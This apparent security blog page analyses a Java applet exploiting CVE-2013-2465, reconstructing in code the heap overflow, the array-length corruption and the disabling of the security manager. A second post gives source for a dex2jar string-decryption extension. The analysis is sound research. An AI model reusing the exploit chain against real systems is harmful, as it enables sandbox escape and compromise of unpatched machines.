Tuesday, November 25, 2014

Another Java malicious applet, using CVE-2013-2465 exploit

This applet is based on CVE-2013-2465 exploit.
Its MD5 is edd9d9225738e7f76dd8e8c02527b4ed.
By using Procyon decompiler it is possible to recover the applet's sources.
/root_dir/ | |__Lookback.java |__Main.java |__diam.java |__real.java |__tutu.java |__vile.java
The applet's entry point is method Main.init(). @Override public void init() { try { Main.Pibk = this.getCodeBase().toString(); final DataBufferByte dataBufferByte = new DataBufferByte(4); final String sack = sack("setSecurir3c23v2rrbe", "r3c23v2rrbe", "tyManager"); final Statement statement = new Statement(System.class, sack, new Object[1]); final tutu tutu = new tutu(); final DataBufferByte play = tutu.play(statement.getTarget(), sack, vile.diag(cera())); final BufferedImage bufferedImage = new BufferedImage(4, 1, 2); diam.sons(bufferedImage); final String sack2 = sack("crr3c23v2rrbeatr3c23v2rrbeWritablr3c23v2rrbeRastr3c23v2rrber", "r3c23v2rrbe", "e"); tutu.bury(bufferedImage, (BufferedImage)real.glee(burs(mayo("Raster"), sack2, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(sack2.substring(6))))); tutu.fume(); tutu.hops(); foty(); } catch (Exception ex) {} }
A brief look at the code shows the use of minor obfuscation. Indeed, strings are stored in an encrypted form and they are then decrypted at run time. The decryption routine appears to be Main.sack(String, String, String) and, as it is easy to guess, it just substitutes a given part of the string with another one. public static String sack(final String s, final String target, final String replacement) { return "" + s.replace(target, replacement); }
Manual deobfuscation seems to be a good choice in this case. However, since the current version of dex2jar's string decryption tool is now able to deal with decryption routines that use multiple parameters, an automatic approach can be adopted. The entire jar can thus be easily patched and then analysed with all the strings in plaintext form. Another static routine, based on Main.sack(String, String, String), adds some obfuscation. It can be simplified by using the same procedure. static String mayo(final String str) { return sack("javar3c23v2rrbeawtr3c23v2rrbeimager3c23v2rrbe", "r3c23v2rrbe", ".") + str; }
The following is the result on the entry point method. @Override public void init() { try { Main.Pibk = this.getCodeBase().toString(); final DataBufferByte dataBufferByte = new DataBufferByte(4); final String methodName = "setSecurityManager"; final Statement statement = new Statement(System.class, methodName, new Object[1]); final tutu tutu = new tutu(); final DataBufferByte play = tutu.play(statement.getTarget(), methodName, vile.diag(cera())); final BufferedImage bufferedImage = new BufferedImage(4, 1, 2); diam.sons(bufferedImage); final String s = "createWritableRaster"; tutu.bury(bufferedImage, (BufferedImage)real.glee(burs("java.awt.image.Raster", s, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(s.substring(6))))); tutu.fume(); tutu.hops(); foty(); } catch (Exception ex) {} }
It's interesting to note that, after deobfuscation, Procyon decompiler was able to track the use of String sack variable, thus changing its name to methodName.
Other than string encryption, a quite deep control-flow obfuscation can be observed. Indeed, code is scattered across custom classes and methods. As a consequence, a significant amount of work is needed to reconstruct the original listing. This kind of obfuscation is rather effective both to hinder a static analysis (e.g. attacks against "intellectual property") and to differentiate the malware sample (e.g. to avoid AV detection).


Exploit

CVE-2013-2465 exploit affects Java versions prior to 7u25. Detailed analyses and a PoC can be easily found on the web; in fact, I conducted this analysis as a personal exercise. However, while comparing Packet Storm's PoC with the malware sample, I noticed some differences in how the exploit is conducted. Thus, the added value of this analysis may be represented by the comparison between the PoC and a malware that operates in the wild. For readability reasons, various statements are slighty modified (mainly de-inlined), if compared to the original decompiled code.

The CVE-2013-2465 vulnerability is located within the native storeImageArray() function, inside jre/bin/awt.dll. This routine calls the memcpy() function to copy some image data between two memory locations, using an offset value to locate data that should be copied. The destination address (cDataP) is calculated by adding the offset (hintP->dataOffset) to the destination buffer's address. By modifying cDataP's value it is possible to write outside of the destination buffer, thus overwriting the address space of other objects.
// see ...\jdk\src\share\native\sun\awt\image\awt_parseImage.c static int storeImageArray(JNIEnv *env, BufImageS_t *srcP, BufImageS_t *dstP, mlib_image *mlibImP) { int mStride; unsigned char *cmDataP, *dataP, *cDataP; HintS_t *hintP = &dstP->hints; RasterS_t *rasterP = &dstP->raster; int y; ... if (hintP->packing == BYTE_INTERLEAVED) { // Write it back to the destination cmDataP = (unsigned char *) mlib_ImageGetData(mlibImP); mStride = mlib_ImageGetStride(mlibImP); dataP = (unsigned char *)(*env)->GetPrimitiveArrayCritical(env, rasterP->jdata, NULL); if (dataP == NULL) return 0; cDataP = dataP + hintP->dataOffset; for (y=0; y < rasterP->height; y++, cmDataP += mStride, cDataP += hintP->sStride) { memcpy(cDataP, cmDataP, rasterP->width*hintP->numChans); } } ... }
As pointed out earlier, cDataP depends on two variables, dataP and hintP->dataOffset. The object that can be used to access these variables is BytePackedRaster.
data can be accessed by the byte[] data field of the sun.awt.image.BytePackedRaster object; the data field contains the image's data array.
hintP->dataOffset can be accessed by the int dataBitOffset field; it stores the data bit offset for each pixel of the represented image. Both these fields are initialised within BytePackedRaster's constructor.
// see ...\jdk\src\share\classes\sun\awt\image\BytePackedRaster.java public BytePackedRaster(SampleModel sampleModel, DataBuffer dataBuffer, Rectangle aRegion, Point origin, BytePackedRaster parent){ super(sampleModel,dataBuffer,aRegion,origin, parent); this.maxX = minX + width; this.maxY = minY + height; if (!(dataBuffer instanceof DataBufferByte)) { throw new RasterFormatException("BytePackedRasters must have" + "byte DataBuffers"); } DataBufferByte dbb = (DataBufferByte)dataBuffer; this.data = stealData(dbb, 0); //<-------data if (dbb.getNumBanks() != 1) { throw new RasterFormatException("DataBuffer for BytePackedRasters"+ " must only have 1 bank."); } int dbOffset = dbb.getOffset(); if (sampleModel instanceof MultiPixelPackedSampleModel) { //MultiPixelPackedSampleModel object needed MultiPixelPackedSampleModel mppsm = (MultiPixelPackedSampleModel)sampleModel; this.type = IntegerComponentRaster.TYPE_BYTE_BINARY_SAMPLES; pixelBitStride = mppsm.getPixelBitStride(); if (pixelBitStride != 1 && pixelBitStride != 2 && pixelBitStride != 4) { throw new RasterFormatException ("BytePackedRasters must have a bit depth of 1, 2, or 4"); } scanlineStride = mppsm.getScanlineStride(); dataBitOffset = mppsm.getDataBitOffset() + dbOffset*8; //<-------dataBitOffset int xOffset = aRegion.x - origin.x; int yOffset = aRegion.y - origin.y; dataBitOffset += xOffset*pixelBitStride + yOffset*scanlineStride*8; bitMask = (1 << pixelBitStride) -1; shiftOffset = 8 - pixelBitStride; } else { throw new RasterFormatException("BytePackedRasters must have"+ "MultiPixelPackedSampleModel"); } verify(false); }
It can be seen that data depends on the DataBufferByte object, i.e. the image's data array.
On the other hand, dataBitOffset is calculated based both on the SampleModel object (which has to be an instance of MultiPixelPackedSampleModel) and the DataBufferByte object. The vulnerability is exploited by creating a MultiPixelPackedSampleModel object with an unusually big dataBitOffset. In fact, dataBitOffset's value is not checked while the object is created, thus being assigned to the dataBitOffset field of BytePackedRaster object, as shown in the code above.
Once the dataBitOffset is initialised, its value is then validated through the verify() function. This routine is not very strict, since it is possible to set dataBitOffset roughly 8 times data.length. private void verify (boolean strictCheck) { // Make sure data for Raster is in a legal range if (dataBitOffset < 0) { throw new RasterFormatException("Data offsets must be >= 0"); } int lastbit = (dataBitOffset + (height-1) * scanlineStride * 8 + (width-1) * pixelBitStride + pixelBitStride - 1); if (lastbit / 8 >= data.length) { throw new RasterFormatException("raster dimensions overflow " + "array bounds"); } if (strictCheck) { if (height > 1) { lastbit = width * pixelBitStride - 1; if (lastbit / 8 >= scanlineStride) { throw new RasterFormatException("data for adjacent" + " scanlines overlaps"); } } } }
Since the BytePackedRaster class cannot be accessed directly, Java public method java.awt.image.Raster.createWritableRaster(MultiPixelPackedSampleModel sm, DataBuffer destination, Point p) is used to create the BytePackedRaster object. The approach used by the exploit is as follows.

First, a "dummy call" is performed in order to initialise the Statement class. A powerful AccessControlContext object is then created. It will be later used to overwrite the acc field of an unprivileged Statement object, to elevate its privileges. //"dummy call for init" final Statement statement = new Statement(System.class, "setSecurityManager", new Object[1]); final Class permissionsClass = Class.forName("java.security.Permissions"); final Class allPermissionClass = Class.forName("java.security.AllPermission"); final Class permissionClass = Class.forName("java.security.Permission"); final Class protectionDomainClass = Class.forName("java.security.ProtectionDomain"); //CodeSource object: it refers to source code files on any path final CodeSource codeSource = new CodeSource(new URL("file:///"), (Certificate[])null); //a Permission object is created and supplied with an AllPermission object, thus granting all permissions final Object gibe = permissionsClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]); final Object alp = allPermissionClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]); permissionsClass.getMethod("add", new Class[] {permissionClass}).invoke(gibe, new Object[] {alp}); //a ProtectionDomain object is created based on the CodeSource and Permissions objects final Object ceraobj = protectionDomainClass.getConstructor((Class<?>[])new Class[] {CodeSource.class, PermissionCollection.class}).newInstance(new Object[] {codeSource, gibe}); //finally, a powerful AccessControlContext is created AccessControlContext acc = new AccessControlContext(new ProtectionDomain[] {(ProtectionDomain)ceraobj});
Both in the PoC and in the malware sample, a set of instructions is used to create the overflow environment. Since it is a heap overflow, various objects are created in a strict order. The malware sample allocates memory in a different manner in respect to the PoC. First, a call to the garbage collector is performed, probably to clean the heap in order to start with cleaner memory. Then, 256 arrays of type int[8] are allocated on the heap, placing the destination buffer in between of them. After them, 256 custom objects are allocated. //call to garbage collector Runtime.getRuntime().gc(); real[] pace = new real[256]; int[][] tour = new int[256][]; //an array of int[8] is created for (int i = 0; i < tour.length; ++i) { tour[i] = new int[8]; if (i == 128) { //after 128 array objects out of 256, memory is allocated for the destination image's buffer final DataBufferByte play = new DataBufferByte(16); } } //256 custom objects are created. //each object starts with a int field, with value -559035650 (0xDEADCAFE), useful to recognise the objects later for (int j = 0; j < pace.length; ++j) { pace[j] = new real(statement.getTarget(), "setSecurityManager", acc); pace[j].poet = new Statement(System.class, "setSecurityManager", new Object[1]); } //custom class class real { public volatile int tubo; public volatile Object pane; public volatile String lira; public volatile Statement poet; public volatile Object fury; public volatile Object howl; public real(final Object pane, final String lira, final Object fury) { super(); this.tubo = this.bush(); this.pane = pane; this.lira = lira; this.fury = fury; } int bush() { return -559035650; } }
This leads to the following memory configuration. Object type Memory (ascending) ================= ================== int[8] 128 objects * 32 Byte each one DataBufferByte a single object * 64 Byte int[8] 128 objects * 32 Byte each one real custom class 256 objects * 60 Byte each one real custom object: Field name Field type Value ========== ==================== ===== tubo int 0xDEADCAFE pane Class points to the following Statement's System.class lira String "setSecurityManager" poet Statement a default Statement object, using a default AccessControlContext fury AccessControlContext the privileged AccessControlContext object howl Object null
On the other hand, the PoC is more minimalist (in fact, it allocates a subset of the malware's data structures) and produces the following objects. Object type Memory (ascending) ============== ================== DataBufferByte a single object * 64 Byte int[8] a single object * 32 Byte Object[7] a single object * 112 Byte Object array: Index Field type Value ===== ==================== ===== 0 Object null 1 Object null 2 Statement a default Statement object, using a default AccessControlContext 3 AccessControlContext the privileged AccessControlContext object 4 Class points to the previous Statement's System.class 5 Object null 6 Object null
To speculate on the differences, two reasons may explain the approach used by the malware sample. First, the exploit is made more reliable, since having redundant elements it is more probable for it to find the necessary objects within a memory configuration that may be different from an execution environment to another. Second, with redundant elements it's easier to apply little changes to achieve differentiation.
The overflow is then performed by executing the AffineTransformOp.filter(BufferedImage bi1, BufferedImage bi2) method, specifying the previosly allocated DataBufferByte object as the destination of the memcpy() routine. A custom ComponentColorModel is supplied to the BufferedImage constructor, in order to fool the if (hintP->packing == BYTE_INTERLEAVED) check within the storeImageArray() function. The source image is carefully constructed, in order to control the data that will overflow from the destination buffer. Indeed, the first pixel of the source image is crafted to look like 0xFFFFFF7F in memory (0xFFFFFFFF in the PoC). This value overwrites the following int[8]'s length field. As a consequence, by using the modified array it is possible to point to memory locations far beyond the array's original memory. //helper class 1 class diam extends ComponentColorModel { public diam(final ICC_Profile icc_Profile) { super(new vile(icc_Profile), new int[] {8, 8, 8}, false, false, 1, 0); } //if (hintP->packing == BYTE_INTERLEAVED) can be fooled by always returning true @Override public boolean isCompatibleRaster(final Raster raster) { return true; } } //helper class 2 class vile extends ICC_ColorSpace { public vile(final ICC_Profile profile) { super(profile); } @Override public int getNumComponents() { return 1; } } //a regular source image is created final BufferedImage src_bufferedImage = new BufferedImage(4, 1, 2); //first pixel is set, to overwrite the 129th int[8] array's length with 0xFFFFFF7F final Class writableRaster = Class.forName("java.awt.image.WritableRaster"); writableRaster.getMethod("setPixel", new Class[] {Integer.TYPE, Integer.TYPE, int[].class}).invoke(src_bufferedImage.getRaster(), new Object[] {0, 0, {-1, -1, -1, 127}}); final Class raster = Class.forName("java.awt.image.Raster"); final Class bufferedImage = Class.forName("java.awt.image.BufferedImage"); //createWritableRaster() makes possible to create the BytePackedRaster object. dataBitOffset is set to 44 final Object burs = raster.getMethod("createWritableRaster", new Class[] {SampleModel.class, DataBuffer.class, Point.class}).invoke(null, new Object[] {new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null}); //a custom ColorModel is provided to the BufferedImage constructor final BufferedImage dst = (BufferedImage)bufferedImage.getConstructor((Class<?>[])new Class[] {ColorModel.class, writableRaster, Boolean.TYPE, Hashtable.class}).newInstance(new Object[] {new diam(ICC_Profile.getInstance(1000)), burs, false, null}); //invocation of the vulnerable native function storeImageArray() new AffineTransformOp(new AffineTransform(1.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f), null).filter(src_bufferedImage, dst);
The patched array is located by checking its length. int i = 0; int[] lime; while (i < tour.length) { if (tour[i].length > 8) { //if > 8, length has been modified by overflow data lime = tour[i]; //the modified array with length == 0xFFFFFF7F is now assigned to lime if (lime == null) throw new Exception(); break; } else ++i; }
Once the patched array has been located, it is used to elevate the default Statement object's privileges. The custom real objects are located by using the distinctive tubo field (0xDEADCAFE). Then, two modifications are performed: the tubo field is modified into 0xCAFEDEAD, and the methodName field of the default Statement object is turned into null. Finally, the acc field of the unprivileged Statement object is overwritten with the reference to the privileged AccessControlContext object. The Statement's methodName field is restored to "setSecurityManager" and the Statement is executed, thus disabling the security manager.
As with the memory configuration, the malware performs more operations than the PoC, which, in this situation, limits itself to overwriting the acc field and executing the modified Statement object. final int n = -559035650; //0xDEADCAFE for (int n2 = 0, n3 = 0; n2 < 4096 && n3 < 10; ++n2) { if (lime[n2] == n) { //n2 points to the beginning of one of the custom objects (tubo field, 0xDEADCAFE) if (lime[n2 + 5] == 0) { //howl field, it is null lime[n2] = -889266515; //tubo = 0xCAFEDEAD final int n4 = lime[n2 + 1]; //pane field. points to the next Statement object's target (System.class) final int n5 = lime[n2 + 2]; //lira field. it contains the String "setSecurityManager" int n6; //n6 points to the acc field of the Statement object for (n6 = n2 + 5; n6 < n2 + 25 && lime[n6] != n; ++n6) { if (lime[n6 + 1] == n4) { //Statement's target is in fact equal to pane field if (lime[n6 + 2] == n5) { lime[n6 + 2] = 0; //Statement's methodName = null int i = 0; //256 times, for each custom object of the array while (i < pace.length) { //search for the custom object we just modified if (pace[i].tubo == -889266515) { //tubo field if (pace[i].poet.getMethodName() != null) { //Statement's methodName continue; } lime[n6] = lime[n2 + 4]; //Statement's AccessControlContext is now fury lime[n6 + 2] = n5; //Statement's methodName is restored to "setSecurityManager" try { //call System.setSecurityManager(null) by the execute() method pace[i].poet.execute(); return; //GO TO PAYLOAD } catch (Exception ex) { ++i; continue; } break; } } } } } n2 = n6; ++n3; } } } throw new Exception();

Payload

The exploit's description has been rather long and, fortunately, there is not much to say about the payload. Indeed, it is equivalent to the one of the CVE-2013-2460-based malware I analysed a couple of months ago. Thus, the payload description may be read there. Considering the similarities, both these malwares may have been assembled by the same entity, who added the same payload mechanism to both.

Tuesday, October 28, 2014

An extension of dex2jar's string decryption utility

Dex2jar is a popular open source tool, mainly used to convert Dalvik bytecode (.dex files) to Java bytecode (.jar or .class files); it acts as a sort of bridge between Android and Java environments.

Besides the bytecode conversion feature, dex2jar offers various utilities which help to deal with obfuscated Java code. Among others, a string decryption tool is provided. In brief, the tool works by accepting a user-supplied decryption routine, and then executes the routine every time it is called within the protected application. Since the decryption routine's output is, in fact, a decrypted string, dex2jar patches the bytecode by replacing all routine's invocations with decrypted strings. Although locating the decryption routine(s) is left to the analyst, this tool helps in obtaining a functionally equivalent unencrypted Java application.

However, its capabilities are rather limited. Indeed, it is only able to manage decryption functions which accept a single String or int parameter. As a consequence, a minimal variation of the decryption routine may make this tool ineffective. For example, as for October 2014, DashO Pro obfuscator provides string encryption by using both a String and an int parameter (or, sometimes, three parameters: int, int and String); dex2jar is unable to remove the protection because of multiple parameters. Custom decryption functions may cause trouble as well.

As a solution, I extended dex2jar's string decryption utility in order to make it applicable to a wider range of cases. In particular, boolean, byte, char and double parameters are now supported, besides String and int ones. Additionally, an arbitrary number of parameters is allowed, thus making possible to deal with more complex decryption routines, such as DashO Pro's ones. All the modifications affect a single source file, DecryptStringCmd.java, and no new dependency has been added.

UPDATE: These changes have now been merged with the current version of dex2jar. An updated description of its string decryption capabilities can be found here.

/* * dex2jar - Tools to work with android .dex and java .class files * Copyright (c) 2009-2012 Panxiaobo * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.googlecode.dex2jar.tools; import java.io.File; import java.io.IOException; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import org.apache.commons.io.FilenameUtils; import org.apache.commons.io.IOUtils; import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.Opcodes; import org.objectweb.asm.Type; import org.objectweb.asm.tree.AbstractInsnNode; import org.objectweb.asm.tree.ClassNode; import org.objectweb.asm.tree.InsnList; import org.objectweb.asm.tree.InsnNode; import org.objectweb.asm.tree.IntInsnNode; import org.objectweb.asm.tree.LdcInsnNode; import org.objectweb.asm.tree.MethodInsnNode; import org.objectweb.asm.tree.MethodNode; import p.rn.util.FileOut; import p.rn.util.FileOut.OutHandler; import p.rn.util.FileWalker; import p.rn.util.FileWalker.StreamHandler; import p.rn.util.FileWalker.StreamOpener; import com.googlecode.dex2jar.tools.BaseCmd.Syntax; @Syntax(cmd = "uberdecrpyt", syntax = "[options] <jar>", desc = "Decrypts strings in a class file.\nExtended version of d2j-decrpyt-string.\n", onlineHelp = "https://code.google.com/p/dex2jar/wiki/DecryptStrings") public class DecryptStringCmd extends BaseCmd { public static void main(String[] args) { new DecryptStringCmd().doMain(args); } @Opt(opt = "f", longOpt = "force", hasArg = false, description = "force overwrite") private boolean forceOverwrite = false; @Opt(opt = "o", longOpt = "output", description = "output of .jar files, default is $current_dir/[jar-name]-decrypted.jar", argName = "out") private File output; @Opt(opt = "mo", longOpt = "decrypt-method-owner", description = "the owner of the mothed which can decrypt the stings, example: java.lang.String", argName = "owner") private String methodOwner; @Opt(opt = "mn", longOpt = "decrypt-method-name", description = "the owner of the mothed which can decrypt the stings, the method's signature must be static (type)Ljava/lang/String;", argName = "name") private String methodName; @Opt(opt = "cp", longOpt = "classpath", description = "add extra lib to classpath", argName = "cp") private String classpath; //extended parameter option: e.g. '-t int,byte,string' for decryptionRoutine(int a, byte b, String c) @Opt(opt = "t", longOpt = "arg-types", description = "comma-separated list of types:int,string,boolean,byte,char,double.Default is string", argName = "type") private String type = "string"; private String[] type_list; @Override protected void doCommandLine() throws Exception { if (remainingArgs.length != 1) { usage(); return; } File jar = new File(remainingArgs[0]); if (!jar.exists()) { System.err.println(jar + " is not exists"); return; } if (methodName == null || methodOwner == null) { System.err.println("Please set --decrypt-method-owner and --decrypt-method-name"); return; } if (output == null) { if (jar.isDirectory()) { output = new File(jar.getName() + "-decrypted.jar"); } else { output = new File(FilenameUtils.getBaseName(jar.getName()) + "-decrypted.jar"); } } if (output.exists() && !forceOverwrite) { System.err.println(output + " exists, use --force to overwrite"); return; } System.err.println(jar + " -> " + output); List<String> list = new ArrayList<String>(); if (classpath != null) { list.addAll(Arrays.asList(classpath.split(";|:"))); } list.add(jar.getAbsolutePath()); URL[] urls = new URL[list.size()]; for (int i = 0; i < list.size(); i++) { urls[i] = new File(list.get(i)).toURI().toURL(); } final Method jmethod; final String targetMethodDesc; try { //type is a comma-separated list of the decryption method's parameters type_list = type.split(","); //switch for all the supported types. String is default Class<?>[] argTypes = new Class<?>[type_list.length]; for (int i=0; i < type_list.length; i++) { switch (type_list[i]) { case "int": argTypes[i] = int.class; break; case "boolean": argTypes[i] = boolean.class; break; case "byte": argTypes[i] = byte.class; break; case "char": argTypes[i] = char.class; break; case "double": argTypes[i] = double.class; break; case "string": default: argTypes[i] = String.class; break; } } URLClassLoader cl = new URLClassLoader(urls); jmethod = cl.loadClass(methodOwner).getDeclaredMethod(methodName, argTypes); jmethod.setAccessible(true); targetMethodDesc = Type.getMethodDescriptor(jmethod); } catch (Exception ex) { System.err.println("can't load method: String " + methodOwner + "." + methodName + "(" + type + ")"); ex.printStackTrace(); return; } final String methodOwnerInternalType = this.methodOwner.replace('.', '/'); final OutHandler fo = FileOut.create(output, true); try { new FileWalker().withStreamHandler(new StreamHandler() { @Override public void handle(boolean isDir, String name, StreamOpener current, Object nameObject) throws IOException { if (isDir || !name.endsWith(".class")) { fo.write(isDir, name, current == null ? null : current.get(), nameObject); return; } ClassReader cr = new ClassReader(current.get()); ClassNode cn = new ClassNode(); cr.accept(cn, ClassReader.EXPAND_FRAMES); for (Object m0 : cn.methods) { MethodNode m = (MethodNode) m0; if (m.instructions == null) { continue; } AbstractInsnNode p = m.instructions.getFirst(); while (p != null) { if (p.getOpcode() == Opcodes.INVOKESTATIC) { MethodInsnNode mn = (MethodInsnNode) p; if (mn.name.equals(methodName) && mn.desc.equals(targetMethodDesc) && mn.owner.equals(methodOwnerInternalType)) { AbstractInsnNode q = p.getPrevious(); AbstractInsnNode next = p.getNext(); //arguments' list. it is now filled by reading bytecode backwards, //starting from the INVOKESTATIC statement Object[] arg_list = new Object[type_list.length]; //instructions' list. all the instructions to be deleted, //in order to substitute them with the decrypted string's LDC AbstractInsnNode[] instr_list = new AbstractInsnNode[arg_list.length + 1]; instr_list[instr_list.length - 1] = p; //each parameter's value is retrieved by reading bytecode backwards for (int i = arg_list.length - 1; i >= 0; i--) { //LDC: String and double cases (Opcodes.LDC comprehends LDC_W and LDC2_W. //The latter is used by double values) if (q.getOpcode() == Opcodes.LDC) { LdcInsnNode ldc = (LdcInsnNode) q; arg_list[i] = ldc.cst; instr_list[i] = q; //INT_INSN ("instruction with a single int operand", //e.g. BIPUSH and SIPUSH): int and byte cases, if the pushed value is > 5 } else if (q.getType() == AbstractInsnNode.INT_INSN) { IntInsnNode in = (IntInsnNode) q; arg_list[i] = in.operand; instr_list[i] = q; //ICONST_*: used by int, boolean and byte, if the pushed value is < 6 } else { switch (q.getOpcode()) { case Opcodes.ICONST_M1: case Opcodes.ICONST_0: case Opcodes.ICONST_1: case Opcodes.ICONST_2: case Opcodes.ICONST_3: case Opcodes.ICONST_4: case Opcodes.ICONST_5: int x = ((InsnNode) q).getOpcode() - Opcodes.ICONST_0; arg_list[i] = x; instr_list[i] = q; break; } } q = q.getPrevious(); } //All the parameters' values have been retrieved. //tryReplace invokes the decryption function and patches the bytecode tryReplace(m.instructions, instr_list, jmethod, arg_list, type_list); p = next; continue; } } p = p.getNext(); } } ClassWriter cw = new ClassWriter(0); cn.accept(cw); fo.write(false, cr.getClassName() + ".class", cw.toByteArray(), null); } }).walk(jar); } finally { IOUtils.closeQuietly(fo); } } public static AbstractInsnNode tryReplace(InsnList instructions, AbstractInsnNode[] instr_list, Method jmethod, Object[] args, String[] arg_types) { try { Object[] fixed_args = new Object[args.length]; //a cast is needed for char, boolean and byte values: //in these cases, the passed object is, in fact, an Integer. for (int i=0; i < arg_types.length; i++) { switch (arg_types[i]) { case "char": Method method = args[i].getClass().getMethod("intValue", null); fixed_args[i] = (char) (int) method.invoke(args[i], null); break; case "boolean": Method method2 = args[i].getClass().getMethod("intValue", null); fixed_args[i] = ((int) method2.invoke(args[i], null) == 0) ? false : true; break; case "byte": Method method3 = args[i].getClass().getMethod("byteValue", null); fixed_args[i] = (byte) method3.invoke(args[i], null); break; //String and double. since they are objects obtained via LDCs, no cast is needed. default: fixed_args[i] = args[i]; break; } } String newValue = (String) jmethod.invoke(null, fixed_args); LdcInsnNode nLdc = new LdcInsnNode(newValue); //insertion of the decrypted string's LDC statement, //before INVOKESTATIC statement (last element of instr_list array) instructions.insertBefore(instr_list[instr_list.length - 1], nLdc); //removal of INVOKESTATIC and previous push statements for (AbstractInsnNode instr : instr_list) { instructions.remove(instr); } return nLdc.getNext(); } catch (Exception e) { // ignore } return null; } }